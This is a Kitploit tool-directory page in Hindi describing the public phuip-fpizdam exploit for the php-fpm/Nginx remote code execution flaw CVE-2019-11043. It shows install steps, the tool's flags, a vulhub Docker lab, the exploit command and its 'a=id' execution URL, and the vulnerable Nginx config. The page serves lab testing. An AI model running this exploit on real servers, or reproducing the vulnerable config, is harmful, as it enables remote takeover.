Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-11043 — php-fpm+Nginx RCE | Kitploit
उपकरण/GitHubGitHub/jas502n/cve-2019-11043
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubjas502n/cve-2019-11043

CVE-2019-11043

php-fpm+Nginx RCE

रिपॉजिटरी देखें
10535946 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-11043 php-fpm+Nginx RCE

0x01 phuip-fpizdam-Mac स्थापित करें

go get github.com/neex/phuip-fpizdam

go install github.com/neex/phuip-fpizdam

root@kitploit:~
ale@Pentest ~/go go get github.com/neex/phuip-fpizdam
ale@Pentest ~/go go install github.com/neex/phuip-fpizdam
ale@Pentest ~/go ls
bin src

ale@Pentest ~/go cd bin
ale@Pentest ~/go/bin ls
phuip-fpizdam

ale@Pentest ~/go/bin file phuip-fpizdam
phuip-fpizdam: Mach-O 64-bit executable x86_64

ale@Pentest ~/go/bin ls -lah phuip-fpizdam
-rwxr-xr-x  1 ale  staff   9.3M Oct 24 07:30 phuip-fpizdam

ale@Pentest ~/go/bin
phuip-fpizdam सहायता
root@kitploit:~
./phuip-fpizdam

Error: accepts 1 arg(s), received 0
Usage:
  phuip-fpizdam [url] [flags]

Flags:
      --cookie string       send this cookie
  -h, --help                help for phuip-fpizdam
      --kill-count int      how many times to send the worker killing payload (default 50)
      --kill-workers        just kill php-fpm workers (requires only QSL)
      --method string       detect method (see detect_methods.go) (default "session.auto_start")
      --only-qsl            stop after QSL detection, use this if you just want to check if the server is vulnerable
      --pisos int           pisos hint
      --qsl int             qsl hint
      --reset-retries int   how many retries to do for --reset-setting, -1 means a lot (default 50)
      --reset-setting       try to reset setting (requires attack params)
      --setting string      specify custom php.ini setting for --reset-setting
      --skip-attack         skip attack phase
      --skip-detect         skip detection phase

2019/10/24 07:53:55 accepts 1 arg(s), received 0

टूल डाउनलोड करें

0x02 phuip-fpizdam-Windows स्थापित करें

https://github.com/neex/phuip-fpizdam/archive/master.zip

go build

0x03 CVE-2019-11043 के लिए Docker

root@kitploit:~
root@kali:~# cd ~/vulhub/php/CVE-2019-11043

root@kali:~/vulhub/php/CVE-2019-11043# ls

1.png  2.png  default.conf  docker-compose.yml  README.md  www

root@kali:~/vulhub/php/CVE-2019-11043# docker-compose up -d

Creating network "cve-2019-11043_default" with the default driver
Creating cve-2019-11043_php_1 ... done
Creating cve-2019-11043_nginx_1 ... done
root@kali:~/vulhub/php/CVE-2019-11043#


root@kali:~/vulhub/php/CVE-2019-11043# docker ps -a
CONTAINER ID  IMAGE  COMMAND  CREATED  STATUS  PORTS  NAMES

9923d12fdff0 nginx:1 "nginx -g 'daemon of…" 43 seconds ago Up 41 seconds 0.0.0.0:8080->80/tcp cve-2019-11043_nginx_1

d3135c708e7b php:7.2.10-fpm "docker-php-entrypoi…" 44 seconds ago Up 42 seconds 9000/tcp cve-2019-11043_php_1

0x04 POC भेजें

./phuip-fpizdam http://10.10.20.166:8080/index.php

http://10.10.20.166:8080/index.php?a=id

Python भेद्यता जाँच

python php-rce-check.py

Nginx कॉन्फ़िगरेशन

/etc/nginx/conf.d/default.conf

उदाहरण:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    root /usr/share/nginx/html;

    index index.html index.php;

    server_name _;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        include fastcgi_params;

        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_index index.php;
        fastcgi_param  REDIRECT_STATUS    200;
        fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
        fastcgi_param  DOCUMENT_ROOT /var/www/html;
        fastcgi_pass php:9000;
    }

}

संस्करण

root@kitploit:~
root@7c20aecd9c04:/usr/share/nginx/html# nginx -v
nginx version: nginx/1.19.2

phpinfo();
PHP Version 7.2.10

0x05 संदर्भ लिंक

https://github.com/neex/phuip-fpizdam

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043